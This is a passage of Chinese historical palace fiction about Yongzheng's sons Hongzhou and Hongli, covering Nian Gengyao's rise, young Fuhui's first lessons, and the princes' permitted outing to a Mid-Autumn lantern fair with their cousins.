但是这段日子对于弘历来说就有点不一样了,雍正在忙不过来的时候,偶尔会将弘历拎过去交给他一些不大重要的事情。 这些事情大多和青海战乱没有什么太大的关系,但都是些不大适合交给大臣去做的事情。 比如给各地方的官员批请安折子,这些折子多数就是问安,表一表自己的忠心。有心人会顺便介绍介绍自己做官这里的特产,表示想要给皇上进献。 这样的折子是没有什么政治内容的,但能让弘历批改却显出了另一种不同的亲近。 至少在弘时知道这件事情的时候,是失手砸了好几个花瓶的。 也让朝野内外的大臣高看了这位四阿哥一眼,如今三阿哥还在朝堂上打酱油,从不见皇上给三阿哥派一点活干。五阿哥更是在上书房念书,这样看来,皇上最看重的多半还是这位从前被先帝抚养过的四阿哥。 青海的叛乱是在次年结束的,年羹尧率军同奋威将军岳钟琪一起击溃罗卜藏丹津主力,平定了青海。 消息传来的时候,已经是雍正二年的清明了。朝堂上下震荡,前朝年家人被不少人巴结且先不提,后宫的年贵妃甚至隐隐有了能与皇后抗衡的感觉。 但年贵妃依旧如从前一般敬重皇后,甚至比之前表现得更为恭敬小心了些。她心中有点隐忧,二哥立下了这样的大功劳自然是很好的,但这鲜花着锦之势实在令她心中不安。 这样的不安她不能对旁人言明,只能在翊坤宫的时候蹙眉深思,写信出去规劝家中之人勿要因二哥之功嚣张狂妄。 月满则亏,水满则溢。这样的道理年贵妃在幼时就知道了,她居于深宫之中,不能时时提点家中人要谨小慎微,只能在宣额娘和几位嫂子进宫的时候提上一两句。 每每见到额娘还有嫂子志得意满的脸时,年贵妃心中的忧虑便更上一层。信寄到了年羹尧手上,年羹尧也只是大笑两声写信回来让妹妹不要担心这些事情,他同皇上的情谊难不成还会变吗? 年贵妃的忧虑是年羹尧所不能理解的,同样的,此时年羹尧的志得意满也让朝中不少人嫉恨。特别是本就和年羹尧不算和睦的隆科多,此时见年羹尧这样的阵势也只能冷笑两声后等着看年羹尧是不是能一直得势。 青海叛乱平定之后,定下了年羹尧在今年十月的时候回京述职。 带着这样的担忧,年贵妃希冀能在二哥回京后与他见上一面好好谈谈。现在二哥立了大功,她又得皇上疼惜,对见面这事还是有些把握的。 雍正自忙完了青海的战事后,终于又有时间来折腾两个孩子了。不,现在应该说是三个了。 年贵妃所生的福惠也终于到了三岁,是可以启蒙的年纪了。本来年贵妃是打算请个先生来给福惠启蒙的,但雍正不愿意。 从前他还是雍亲王的时候给弘昼弘历两兄弟启蒙请的都是京城之中有名的先生,现在当了皇帝自然是要请朝中的大儒来给小儿子启蒙了,又怎么会愿意让无名小辈来教儿子。 所以在福惠满了三岁后,雍正便定下了让这个孩子每日里来上书房念书一个时辰的规矩。 弘昼和弘历也算开始和这位六弟打交道了,之前虽然知道有这个六弟,但从未交谈过。年贵妃将孩子看得紧,他们也就是在逢年过节的宫宴上能见到,其余的时候都没见过。 “给四哥五哥请安。”看见那三头身的小家伙似模似样地作揖的样子,身后还跟着五六个嬷嬷宫女,弘昼脸上不由露出了笑意。 不说别的,小孩子这样与大人一样行礼的样子是真可爱。特别是福惠长得很不错,年贵妃和雍正都是好长相,福惠更是继承了他们俩的优点,三岁的孩子格外的漂亮。 “快起来,兄弟之间何须多礼。”弘昼上前蹲下,笑着和福惠说话,“日后你也要来上书房中念书,不过四哥五哥和你不是在一间屋子念书的。若是你有什么事,可以直接来旁边找我们。” 福惠的大眼睛眨了眨,看着五哥的眼中充满了好奇。他只是偶尔听额娘和汗阿玛提过四哥五哥,额娘说了到上书房中要和两位哥哥和睦相处,汗阿玛说了五哥是不用功的人。 “多谢五哥,”福惠慢吞吞地一本正经说道,“我若有事就来找四哥和五哥。” 看来年贵妃将孩子教得很好啊,弘昼在心中感叹了一下。这要是比较熟悉他真想捏一捏福惠的脸,白白嫩嫩的看上去手感很不错的样子。 弘历莫名其妙地看着弘昼,对福惠客气了一下后看着嬷嬷们簇拥着他走远,才对着弘昼说道:“你日后离六弟远些。” 弘昼疑惑回头:“怎么了四哥,看我和六弟亲近了你吃醋吗?” 弘历无语了片刻,最后还是开口说道:“六弟的身体一贯不好,瓜田不纳履,李下不整冠。咱们自己还需注意些,莫要不小心便说不清了。” 福惠身体不好这件事算得上是人尽皆知了,翊坤宫几乎两三日就要请一次太医。不是年贵妃身体不好了,就是福惠又病了。这也是不论年羹尧怎么得势,年贵妃如何得宠弘历都没有将这个六弟当成假想敌的主要原因。 能不能养大还不知道呢,即便养大了,这样的身体是不会有大臣愿意将其立储的。 “我知道了。”弘昼思索了片刻,四哥说得不无道理。况且他刚刚和福惠说话的时候,福惠身后那两个嬷嬷瞧着他的眼神极为警惕,倒是也没必要顶着人家的警惕刻意去和福惠亲近。容易被当成不怀好意之人,那可太冤枉了。 福惠的第一日来上书房,教他的先生也不敢教太多。教了一段《声韵启蒙》,福惠眼熟了这一段的文字,又会背了,便到了散学的时候。 一个时辰的时间不算长,福惠散学的时候弘昼和弘历还在听着先生的讲课。 福惠路过两个哥哥念书的屋子时,好奇地往里面看了一眼。 四哥认真地盯着上面讲课的先生,不时点点头。而五哥则偶尔看看先生,偶尔看看别处,甚至最后看到了自己,悄悄往自己这里眨了眨眼。 福惠吓了一跳,连忙跟着嬷嬷们走了。 走了一小段路,福惠便开始喘气了。身后跟着的一个年轻力壮的小太监连忙将小主子背了起来,直到回了翊坤宫才放下来。 今日要送福惠到上书房念书,年贵妃便一直放心不下。自福惠出生后,除却给先帝和太后戴孝的那段时间她不能时时将福惠带在身边,其余的时候不曾让福惠离过身边半刻。 更别提是让福惠自己去那么远的上书房念书了,身边虽跟了几个信任的嬷嬷宫女,但年贵妃还是心绪不宁。算着差不多到了福惠回来的时辰后,就在翊坤宫门口等着,见到小太监抱着福惠回来了连忙迎上去。 从小太监的手中将福惠抱了过来后,年贵妃笑着问道:“今日去上书房可还适应,先生教了什么?” 福惠乖乖地趴在额娘的怀中,答道:“先生教了念《声律启蒙》,我背给额娘听吧。” 这话一出,旁边伺候的人都不免露出了笑意。说是送去上书房启蒙,但其实福惠早就认识些字了,自他会说话开始,年贵妃便开始教些简单的诗词还有三字经百家姓之类的。 “好啊,”进了殿内,年贵妃将福惠放下,满是期待地看着福惠,“背给额娘听听。” 福惠当即就背起了小手,仰着脑袋开始背:“天对地,雨对风,大陆对长空……” 年贵妃的眼神慈爱极了,福惠背完之后将他从头夸到了脚。若说年贵妃在年纪不大的时候还想过要好好教孩子,最好教得文能定国安邦,武能上马杀敌。但连失了几个孩子后,她唯一想的就是让孩子好好长大了。 这个孩子小心翼翼地养到这么大,别提福惠还这么乖巧了,即便是个混世魔王年贵妃也狠不下心来管教。现在看着这样乖巧的福惠,心里更是止不住地发软。 “额娘,”福惠很是期待地开口,“我今日见到四哥和五哥了,五哥还蹲下来和我说话呢。” 年贵妃的眼神开始望向了那个跟着福惠前去的嬷嬷,见嬷嬷点了点头又看向福惠问道:“那咱们福惠有没有给哥哥们行礼呀?” “行礼啦。”福惠很开心地点头,“五哥还说有事让我去找他呢。” 年贵妃的手在福惠的额头上轻轻抚摸着:“既然五哥待你好,那你见到哥哥们也要恭敬。” 让不让福惠和这两个大些的哥哥亲近,年贵妃其实是迟疑的。若是将对象换成三阿哥她就不会犹豫了,毕竟有个这样蠢的哥哥不亲近才是好事。但四阿哥和五阿哥为人不错,特别是四阿哥瞧着隐隐有了些储君的样子。 虽说雍正说了不立储,只在正大光明牌匾后留下圣旨。但枕边人的想法年贵妃多少还是明白的,每次提起弘历时的期待是做不了假的。日后福惠长大了,若他阿玛去了,那少不了要倚仗这位兄长的。 这样想着,年贵妃的眼睫颤动了一下,如蝴蝶煽动翅膀,随即眼神坚定了些:“若是哥哥们来找你玩,你也需热情些。若哥哥们忙于学业,便不要前去叨扰了。” “孩儿明白的。” 见福惠乖乖点头,年贵妃笑了笑:“饿了吧,额娘带你去吃点心。” 福惠来到上书房念书,对弘昼和弘历几乎没有什么别的影响。毕竟他们去的时间太早,回的时间太晚,若非福惠主动来寻他们,其余的时候几乎是不能碰到的。 现在雍正虽说已经时间空余了,能自己批请安折子了,但把弘历拎去上书房的习惯还是没有变。不过是不让弘历批请安折子了,而是让弘历看些简单的政务,并施展教学了。 时间逐渐来了中秋,弘昼最近很是殷勤地往养心殿跑。 托雍正没有几个儿子的福,弘昼随时去养心殿几乎都能见到这位汗阿玛。若是康熙的话,即便是儿子求见也是不一定能见到的,毕竟康熙有二十几个儿子,雍正连他的零头都没赶上。 雍正听着苏培盛汇报,弘昼又跑了过来,轻轻抚了抚额。 弘历在雍正批折子的地方已经有了一张自己的小桌子,闻言不免低头笑了笑。 “让他进来吧,”雍正语气无奈,“还真当旁人都看不出他打的什么主意?” “五弟打的主意汗阿玛自然是能看出来的,”弘历唇边带笑,“可汗阿玛迟迟不应,想来五弟也是急了。若这两天汗阿玛还不提出来的话,多半五弟就要挑明了。” 雍正哼了一下:“念书不精,骑射也不爱学,偏偏在玩的时候最有毅力,为了出宫玩缠了朕这么久了。” 这话其实是有些偏颇了,弘昼虽然没有使出吃奶的力气念书,但他并不算不学无术。在八旗子弟中,不论是念书还是骑射就算不能排上游,也是能排个中上游的。 父子俩不过互相聊了几句,弘昼就从外面走了进来,他满脸的笑意,行礼问安:“儿臣参见汗阿玛。” “起来吧,”雍正瞥了他一眼,“你这几日倒是过来得勤。” 弘昼的脸上满脸堆笑:“儿臣这是想汗阿玛了。” 看着弘昼脸上略带狗腿的笑,雍正无奈摇头:“说罢,你想做什么。” “没什么啊,”弘昼无辜道,“只是想汗阿玛和四哥了。” 弘历将手握成了拳头放在唇角微微咳嗽了一下,掩饰自己已经快要绷不住的笑。 “你若不愿说,那可就不用说了。”雍正说道。 “好吧,”弘昼终于放弃了先和汗阿玛叙一波父子情的表面功夫,“汗阿玛,您就让儿臣出宫玩玩吧。” 第107章 中秋 雍正斜睨着弘昼:“近日功课做得如何?” 弘昼本来理直气壮的肩塌下来了一点,但马上又重新立了起来:“做,做好了的。” 他一直都是将先生布置的功课做了的,反正量肯定是达标了的。至于质能不能达标,这就是仁者见仁智者见智了。 雍正用怀疑的目光盯着弘昼,一旁的弘历简直要笑出声了。抿了抿唇控制了一下自己表情后开口:“汗阿玛,五弟这段日子的确勤勉,不如就放他出去玩会儿吧。” 雍正的目光后落到了弘历的身上,沉吟片刻后开口:“也罢,近日也要中秋了,京城的灯会的确是热闹。你们兄弟俩就出去玩吧,不过要记得不能落下功课,在宫门关闭之前回来。” 弘历有片刻的震惊,没想到竟然还有自己的份。但马上就回过神来,从桌子后面站了起来和弘昼一起谢恩。 弘昼脸上的笑容已经掩饰不住了,他老早就想出去玩了。不论是之前年幼的时候在雍亲王府,还是后来搬到了宫中,他仔细算算都没有真正出去玩过。现在总算有机会了,而且还是中秋灯会这样的热闹。 “还有,”雍正似是想到了什么,“带着侍卫出去,倘若叫我知道了你们甩开了侍卫独自行动,那娶妻之前就不要想出宫了。” 听到这里弘昼的面容一肃,很是郑重的答应了。这么久的时间不能出宫,那简直要把人憋坏了。 达到目的后,弘昼便想告辞了。他其实并不是很想来养心殿,因为不时会有大臣过来这里,每次来的时候都会碰见几个。有的大臣只是跟他打了个招呼,这很好。但还有些大臣言语中就开始试探了,弘昼很不喜欢这样的。 看着弘昼迫不及待告辞的样子,雍正无奈摇了摇头,嘱咐了弘历一句:“切记出去后看好你弟弟,莫要让他在外惹是生非。” 弘历笑着应了,又给弘昼说了句话:“五弟并非惹是生非之人,只要没人来主动招惹他,他是断不会主动去招惹旁人的。” 这点雍正也同意,他不着痕迹地点了点头。虽说他的儿子数量比起汗阿玛来说不达零头,但同样的他的孩子也没有汗阿玛的孩子能惹是生非。弘昼和弘历都是好孩子,除了弘时太蠢外,连最幼的福惠都是个好的。 “对了,你们之前不是和弘暾弘晈的关系不错吗?”雍正想了想说道,“出去玩还是人多热闹些,也叫上他们吧。” 弘历自然应了,弘昼和弘晈弘暾关系更好,想来叫上也没什么。汗阿玛想要他们兄弟同十三叔家的孩子多亲近,他也是知道的,只要不是和弘昌亲近,那便没什么不能答应的。 说完这些,养心殿内又安静了下来。雍正开始继续认真地批折子,弘历也开始看着他案几上的文书。 刚出了养心殿的弘昼心情飞扬,他可是期待了好久出去逛的。之前对于京城的印象就是去庄子时经过的闹市,那时候只是能掀起帘子看一两眼,这次却是可以直接出去逛了。 而且有一就有二,汗阿玛答应了这次,那答应下次就不是梦。而答应了下次,拿到随意进出宫的权利也就近了。 这样想着,弘昼高兴得简直要蹦了起来。 小周子看着自家主子轻快的步伐,脸上也不由露出了笑意:“主子可是得偿所愿了?” “是啊。”弘昼高兴地点了点头说道,“过几日我带你出宫玩儿去,你不是也好多年没出宫了吗?” “我,”小周子愣了一下,“我也去吗?” 他对于宫外的记忆已经很模糊了,只隐约记得那低矮的房檐,总是吃不饱的肚子。还有就是娘亲去世过后,父亲又娶了一个新妻生了新的儿子,便觉得他这个大儿子碍眼了。 宫里的小太监每年都会进新人,一来是有些岁数大的太监被放出宫养老了。二来则是宫里的宫女一般是有些家世的,不能轻易磋磨,但是太监就不同了。有些小太监甚至不如主子看重的猫狗,每个月总会拖出去些小太监的尸体。 而这些进来的新人,有些是因为家贫吃不起饭而进来的。还有些是被长辈卖进来的,一般被卖进来的都和家中断了联系了。他就是其中之一,他父亲本就不是什么好人,五毒俱全的玩意儿。娘亲病重后没钱买药去了后,立刻就借钱娶了新妇,娶了新妇后他这个大儿子就可有可无了。 所以在小儿子出生后,就选择将这个大儿子卖了。当然也是可以卖给高门当家仆的,他的容貌端正,是能选得上的。但是卖给高门哪有卖给宫里当太监赚得多,为了能多几吊钱便将他卖到了宫里。 “是啊,”弘昼笑道,“你不想出去见识见识吗?” 小周子腼腆地笑了笑:“多谢主子带奴才出去长见识。” 心神从遥远而幼小的时候飘回来,小周子看着走在前面的主子,唇畔微微勾了一抹笑。现在这日子很不错了,主子并非难伺候的主子,待他们这些下人也很是体恤,谁不羡慕他能做主子的贴身太监呢。 在汗阿玛这里拿了好消息,弘昼自然就要去钟粹宫将这个消息和额娘分享一下。 钟粹宫中,耿执羽正看着廊下的一只小鹦鹉,听着娑鸣逗这个小鹦鹉学说话。 “娘娘,娘娘,吉祥,吉祥。”小鹦鹉学一句,娑鸣就给它喂一点东西吃,学的都是些吉祥话,听得旁边围观的人哈哈笑。 “娘娘,”外面进来了个小宫女,匆匆一礼说道,“五阿哥回来了。” “弘昼?”耿执羽愣了愣,“这个时候他不回阿哥所用晚膳,怎么过来了?郑嬷嬷,快些吩咐小厨房准备晚膳,多备些弘昼爱吃的菜,等会让这孩子留在这用膳。” 郑嬷嬷笑着应了,转身便去了小厨房。 正在这时,弘昼从外面走了进来,进来就看到了廊下那五颜六色的小鸟儿:“额娘怎么想起来养鹦鹉了?” “上回陪着你钮祜禄额娘去猫狗房挑个小家伙养在身边解颐,”耿执羽上下打量着弘昼笑道,“我去看了一圈没有喜欢的,索性就去鸟雀房看了看。这小家伙会学人说话,长得也好看,便带了回来。” 雍正还未选秀过,宫里高位嫔妃满打满算就六个,哪个都是不能得罪的。所以见两位主位的主子来挑宠物,都是拿出品相最好的看她们看的。 弘昼过来随手扯了一根草逗了逗这只小鹦鹉:“的确长得好。” “长得好,长得好。”小鹦鹉闪动着翅膀,一边复述了一下弘昼的话。 弘昼哈哈笑道:“看来是知道我在夸它呢。” “知道,知道。”小鹦鹉又学着说道。 旁边人都露出了忍俊不禁的神情,耿执羽将弘昼拉到了殿内,轻声问道:“怎么这时候过来了,可是在阿哥所受了什么委屈?” 也不怪耿执羽会想歪,因为弘昼一般在散学后只想回阿哥所沐浴用膳,然后就是奔向睡觉的床榻。过来钟粹宫一般是休沐的时候来,而今天可是弘昼在上书房念书的日子。 弘昼摇了摇头,喝了口伏云递过来的茶水说道:“我是有个好消息要和额娘说道。” 看着弘昼亮晶晶的眼神,耿执羽心中略松了口气,她还担心是弘昼在阿哥所被欺负了。旁的不必多说,单说弘时可还住在阿哥所呢。 “什么好消息?”既然不是孩子受欺负了,耿执羽也就放松下来,笑着问道。 “汗阿玛允了我中秋的那几日可以出宫去看看,”弘昼的手激动地比划着,“额娘,我总算能出宫去看看了。” 弘昼现在都已经快十三岁了,若还是从前的王府阿哥应该早就有能随意出府的权利了。但现在身份升级的同时,自由度也受到了一定的限制。 “那不错啊,”耿执羽笑了出来,“你不是早就盼着想要出去逛一逛了吗?” 弘昼喜悦地点了点头,拉着额娘畅想了一会自己出宫应该去逛什么。他虽然没有出过宫,但也是听堂兄弟们提过外面好吃好玩的。并且承诺了出去一定会给额娘带礼物的,要去首饰铺子看看有没有样式好的适合额娘的首饰。 耿执羽全程带着笑听弘昼说话,不多时晚膳就送上来了。 跟着汗阿玛用膳肯定是要讲究食不言的,但是跟额娘用膳就没有这么多规矩了。弘昼一边说一边吃,直到用过晚膳摸着肚子才发现自己竟然不知不觉间吃撑了。 这可有点少见,自从进入青春期后,弘昼只有觉得不够吃的,还没有这样将自己吃撑过。 知子莫若母,耿执羽看着弘昼的动作就知道这小子是怎么回事了。无奈地摇了摇头,扭过头来吩咐道:“去给他煮一碗酸梅汤来,加些消食的药材,你在这等着把这碗汤喝了再走。” 弘昼不好意思地笑了笑,还好这里是额娘不是旁人,不然这脸可就丢大了。 喝了酸梅汤后,弘昼便从钟粹宫走了。他明日还要去上书房念书,今日去了养心殿又来了钟粹宫,本来就已经比往常睡觉的时间都晚些了。 待弘昼走后,娑鸣她们带着人将桌子收拾了干净。 耿执羽在一旁拿着一枚银簪子看了看,这枚银簪子的做工不算精美,上面也没有镶嵌什么珠宝宝石之类的东西。这样的素银簪和她这个嫔位的身份其实是很不相配的,毕竟皇上的后宫人数不多,每个人在物质上都不曾亏待过。 这根银簪一直躺在耿执羽的首饰匣子中从不曾被束之高阁,只因这根簪子是她选秀之前阿玛特意买回来的。 当时家中并未盼着她能中选,毕竟按照身份来说她中选了就不可能成为那些郡王贝勒的嫡福晋,甚至连侧福晋也够不上,多半只是格格。 在深宅大院中当一个无足轻重的格格,哪有撂牌子后被阿玛额娘嫁到附近知根知底的人家好。额娘甚至都已经打算好了,给她备好了嫁妆,只等着撂牌子回来说亲。 可阿玛总还是不安,便有了这根银簪子。秀女进宫带不了什么东西,她家也没有富庶得能拿出银票给女儿带进宫,便打了这根银簪子。若是出不来了,便当嫁妆了。 最后她果然没出来,幸而进的是雍亲王府,福晋宽宥,从不曾为难她们这些格格。 想到这,耿执羽的脑袋微微仰了仰,似乎是在看头顶的屋檐,又似乎是在透过那屋檐看从前幼时的日子。 现在当了裕嫔,总算是有资格能见一见额娘了。虽说一年也就能见一两次,但也比之前要好多了,可惜不知道日后有没有机会见一见阿玛和兄长。 想到这里,耿执羽抹去了从眼角沁出来的一滴泪水。她总要保重要自己的,只有活得长些,才有可能日后被弘昼接出去,到时候在弘昼的府中谁都能见到了。 因为汗阿玛已经答应了自己中秋那几日可以出去看热闹,所以弘昼最近表现得极好,生怕被揪到小辫子之后让汗阿玛反悔。 甚至连先生都发觉最近五阿哥很是乖觉,上课认真了不少,功课也比之前做得好了。乃至让先生都有些感动,以为这位顽劣的五阿哥总算是转了性子,预备着好好教他的时候,就迎来了中秋。 中秋这日弘昼肯定是不能出宫的,毕竟晚上的宫宴是不能缺席的。 小时候的弘昼参加宫宴是会紧张的,他那时候只是皇玛法众多皇孙中的一个,很怕在宫宴上出丑。 而现在的他在参加了多次宫宴后,对这些已经很淡定了。除了熟能生巧外,还有一个原因就是上面坐着的那位皇帝从玛法换成了阿玛,汗阿玛最多也就是瞪他几眼罢了。 中秋的宫宴上,有不少的堂兄弟过来和弘昼套近乎。他们在去年被勒令回*自家念书后,除了宫宴几乎没有什么旁的入宫的机会了。 这些堂兄弟有弘昼熟悉点的,这一类还能聊几句。但还有一类就是弘昼根本不熟悉的,这一类就只能尬聊几句后敷衍了。 等弘昼的目光捕捉到弘暾和弘晈的时候,眼睛亮了一下,随后连忙和旁边人告辞,挤到了他们俩身边。 被弘昼敷衍的几人看着弘暾的目光就有些不善了,之前在上书房的时候,弘暾他们兄弟的地位可以说是最低的。在阿哥所的时候那些奴才也多是敷衍他们,连大厨房的饭食都要他们领最差的。 可这一换天之后就一切都不一样了,十三爷在康熙朝的时候不仅不受重视,甚至于还有些令康熙厌恶。可在这一朝,他就荣升为了皇上最为器重的兄弟,不仅封了和硕亲王,还叫他管理户部,那可是管钱粮的地方,足见皇上对他的信任。 这两兄弟一下子就从地位最低的一批,变成了地位最高的一批。连弘历弘昼这两兄弟都更愿意理他们些,刚刚对自己这群人还是敷衍客气,但对弘暾弘晈就变成了亲近了。 “怎么了?”弘暾身着一身天蓝色绣竹子的锦袍,腰间配了一块淡蓝色的玉,手中还似模似样地拿着一把折扇。见弘昼过来,打开折扇摇了摇。 弘昼上下打量了一下他:“怎么?是十三叔要给你说福晋了不成,怎么打扮得这么骚包。” 明年就要选秀了,弘暾的福晋多半就要在这批秀女里定下。他今年已经十四了,明年十五,定下人选后走一年的流程差不多成婚的时候也就十六了。 说起这个,弘暾的脸一红,将折扇收起来轻轻敲了下弘昼的脑袋:“有事说事。” “明儿听说还有灯会,”弘昼凑近了弘暾的耳朵问道,“我和四哥要出宫去瞧瞧,你们去不去?” 中秋当天的灯会自然是最热闹的,但明后天也有灯会,虽比不上中秋当日,但总比没有要好些。 “四伯允你们出宫了?”弘暾有点惊讶,和弘昼他们俩不同,弘暾早就能随意出府了。雍正自登基以来一直繁忙,而身为雍正的好帮手的十三爷自然也很忙,甚至忙到了没什么时间来管这几个儿子。 弘暾和弘晈只要将府中先生布置的功课做好的,其余的时间他们是去外面晃,还是回后院去陪着额娘,十三爷都是不怎么管的。 弘昼很是骄傲地点了一下头,嘻嘻笑道:“是啊,汗阿玛已经准了。我这不是想要你和弘晈给我做个向导,毕竟去年你还和我炫耀了你去灯会的事情。” “成啊。”弘暾答应得很是爽快,随后也凑近了弘昼鬼鬼祟祟问道,“诶,对了我问你。” “什么?” “和惠在宫中过得如何?” 第108章 出宫溜达 “和惠?”弘昼想了想摇头表示,“和惠一直养在皇额娘宫中,但我一般是在阿哥所活动的,平日里就不怎么能相见,自然不知道她最近如何了。不过应该还不错吧,听闻皇额娘对这三个女儿都很好。” 皇后最开始是想要抱养一个年纪小些的孩子在身边,年纪小的孩子一来容易培养感情,二来则是还未开始教,容易教得更合自己心意些。但雍正定下来的人选,最小的也有十岁了。 虽然年龄上这一点并没有被满足,但皇后待这几个女儿还是很不错的。 弘暾点了点头表示自己知道了:“额娘总是担心妹妹,你也知道我额娘儿子有好整整四个,但女儿只有两个。最近二姐的身子不是很好,额娘就总是担心和惠。” “人之常情。”弘昼很理解,这要是自己闺女去给人家养着了他肯定也是经常会担心的。特别是送进宫养着,若是旁的人家对孩子不好还能上门去闹,但是谁又敢去皇后的宫中闹呢? “今儿和惠也会来宫宴,等会儿你去同她说几句话呗。”弘昼说道。 弘暾有点迟疑:“可……行吗?” “怎么不行?”弘昼道,“别提你是亲哥了,就算是堂哥和堂妹说两句话又有什么呢。” 这话很轻易地就说动了弘暾,他的确是也是想要和妹妹说两句话,后面回去的时候好说给额娘听让她放心。 其实按道理来说怡亲王福晋同和惠都是坐在女眷位置的,说话要更方便些才对。但怡亲王福晋总怕自己若是表露出担忧孩子的神情,会教皇后心中不高兴。特别是在另外两位公主家中没人这样表现的时候,更怕和惠在姐妹们中显得不合群。 宫宴很快就开始了,弘昼和位置离上座很近。之前参加这种场合都是坐在阿玛身后的,现在他能自己领一席位了。 雍正的脸上难得地带了笑,他最近也称得上是春风得意。汗阿玛时期就困扰的青海藏丹津叛乱他已经平定了,摊丁入亩也有了点成果。 下面的大臣们嘴中恭维的词一句接着一句,让雍正的心情极好。特别是看到了廉亲王一伙的脸色不大好看的时候,心情就更好了。 他在汗阿玛还在的时候,就曾经想过日后若能将这几个“好”弟弟踩在脚下会是多爽快的局面。虽然他们依旧还在蹦跶,可这点蹦跶对他造不成什么太大的影响,而他如今轻微的反击就让这几位有些承受不住了。 廉亲王敏锐地察觉到了上首投来的目光,但他没有选择迎上去对视,而是将自己更为谦卑地低了低头。 现在和老四硬顶着没什么用,待老四放松警惕的时候才是他拉着弘时给老四一记教训的时候。 九贝子不耐地皱了皱眉,他之前对宫宴还是很喜欢的。但自老四上位后,他就不喜欢这种场合了。听见那些谄媚之徒对老四的恭维就觉得难受,青海之所以能这么快平定多亏了十四弟之前打下的基础。 但现在听这些谄媚之徒说话,竟全是年羹尧的功劳似的。哼,最好老四不要和他这个肱股之臣离心才是,管了大西北那么多的地方,若是能和老四离心那不敢想会是多大的热闹。 雍正的目光仅在他们身上停留了片刻,很快就转移了视线。现在他已经不需要将太多的精力放在这几个讨人厌的兄弟身上了,自会有人为了讨好他来折腾他们。 和惠公主和其余两位姐姐坐在一起,弘昼让小周子去传了个话,便很轻易地就将和惠叫了出来。 出了大殿,和惠见弘昼和弘暾站在一起有点惊讶。 弘昼很有眼色地找了个借口溜了,他可不想在这里杵着,让这兄妹俩说话都不能好好说。 中秋的宫宴结束后,弘昼迫不及待地就回到了阿哥所。他今日要早睡,等明天出去玩的时候才能有好精神。 第二日,弘昼难得在休沐的时候仍在天亮之前起床了。他连早膳都没用,洗漱完后就奔向了毓庆宫。 从阿哥所到毓庆宫的距离不算太近,弘昼出门的时候天是蒙蒙亮的,但等他到了毓庆宫还有天色已经大亮。 弘历也已经起来了,他洗漱完后正在用早膳。见弘昼过来一点也不惊讶,招了招手让弘昼过来。 “你必还没用早膳,一起过来用些罢。” 弘昼一点也不客气,很自觉地就坐下,李玉很是乖觉地拿了一副碗筷过来。 李玉是弘历刚从内务府挑过来的人,他之前整顿毓庆宫的时候往慎刑司扔了不少人。空缺是另外挑人补的,在内务府送过来的人中挑中了一个还算伶俐的,就放在了身边。 用过了早膳之后,便可以预备着出宫了。 雍正之前嘱咐了两兄弟出宫一定要带着侍卫,若是甩掉了侍卫就不要想在开府之前出宫了。是以弘昼很是乖巧地带着汗阿玛派过来的侍卫就出宫,这几个侍卫是御前带刀侍卫,不论是家世才华还是武艺,都是八旗子弟之中的佼佼者。 被派过来给弘昼他们俩护卫其实是有点大材小用的,不过换个角度来想,让他们来给弘昼他们俩当导游的话就很对口了。 虽说弘昼和弘历自小就长在北京,但这两兄弟其实连门都没有出过,说要去哪里逛都是两眼一抹黑的。 本来弘昼就预备着叫弘暾还有弘晈这两个导游的,但既然汗阿玛派来了御前侍卫,那自然也可以。 “臣见过四阿哥,五阿哥。”为首的人脸上带着笑,很是恭敬地行礼自我介绍,“臣名叫阿拉古,是皇上派来随同两位阿哥一起出宫游玩的。” 弘历认识这人,是叶赫那拉家中的人,来当御前侍卫是为了混一点资历。 其实说起来过来当御前侍卫的大多数都是为了来混资历的,毕竟御前侍卫靠考察家世学识还有武艺。考察的东西多,要求严格,也是因为御前侍卫只要能任满三年就可以外放从四品的官员。 还有就是御前侍卫经常接触皇帝,只要表现得稍好些,皇帝在任命官员的时候能记起你,便得了比旁人要多些的机会。这个晋升的速度,比起科举可就要快多了。 “咱们走吧,”弘昼对着阿拉古随意地一点头,然后兴奋地扭头对着四哥说道,“昨儿我就弘暾说好了,想来他现在多半已经在宫门口等着咱们了。” 弘暾要是想要进宫也是能进来的,但他只是为了来找弘昼和弘历的话多半就嫌麻烦不愿进来。 走到了宫门口,果然就看到怡亲王府的马车等着。坐在马车上的车夫见弘昼他们出来了,连忙透过帘子提醒,下一刻弘暾和弘晈就从车上走了下来。 “难得啊,”弘暾扬着眉说道,“我还以为你这难得出宫,必然是早早就等着,只等宫门一开就冲出来呢。” 这话说得促狭,让弘历的脸上都忍不住露出了一点笑意。 弘昼没好气地翻了个白眼:“滚蛋。” “走吧走吧先去逛逛,”弘晈在一旁说道,“五哥,我昨儿可定了天香楼的位置,咱们今儿中午就在那里用膳。这天香楼的烤乳猪可是一绝,保准就是宫里的师傅做烤乳猪也比不上他们家的。” “当真?”弘昼来了点兴趣,他想要出来主要是想要逛逛京城,但没想过外面的东西会比御膳房的好吃。 毕竟外面学手艺可能是为了生活,但宫里头学手艺可是将脑袋放在锅铲上的。若是做得太差了,又赶上了主子心情不好的时候虽说不至于拉出去砍了,但也要受不少罪的。 “那是当然了,”弘暾插嘴吗,“他们家别的不一定能比得上宫里,但偏偏这一道烤乳猪说是什么祖传的配方,都是要提前订猪的,那吃起来真真是满嘴油香,吃了一回必过两日就想。” 弘历也被他们说起了点兴趣,难得能从他们口中听到这么高的评价了。 “臣之前也去吃过两回,他们家的烤乳猪的确是一绝,”阿拉古说道,“只是不好订位置,他们家的乳猪每日里都是有定量的。多是要提前半个月订才能订到,两位小爷想来是和那店家相熟。” 弘晈笑了一声:“那个店细算起来是我舅舅家的,我们说一声便能让他们多加一头乳猪。” 弘暾和弘晈的额娘是怡亲王的嫡福晋兆佳氏,这位怡亲王福晋的阿玛身份很高,是跟随康熙平过三番的功臣。前几年虽已经去了,但家中还有些势力在,天香楼就是他们家的产业之一。 “那感情好,”弘昼很是不见外,“既然是你舅舅,那也算是我舅舅了。这乳猪若好吃,日后我定位置可就找你们俩了。” 弘晈当即拍胸膛应了,可以没有别人的位置,但这两位的位置肯定是能有的,舅舅才不敢让这两位在外面干等着吃不着呢。 几人说说笑笑就往外走去,没有乘马车,直接往闹市走去。 现在时间还有些早,清晨的路上人不算多。紫禁城外倒是有不少的马车往来,官员们虽然不能乘马车直接进宫,但是能坐马车到宫门口的。 走到了闹市,弘昼兴致勃勃地就开始逛这些摊子和小店。这次回宫肯定要给额娘挑礼物的,对了还有钮祜禄额娘也要挑一件。 三个姐妹要不也挑点礼物带去吧,给姐妹挑了礼物是不是也该给嫡额娘挑。 这一上午弘昼拉着众人逛得不亦乐乎,见两位小爷逛市集就这般高兴,阿拉古心里微微松了口气。还好还好,昨儿听到皇上下令的时候他还怕这两位会想去什么赌场之类的不正经的地方。 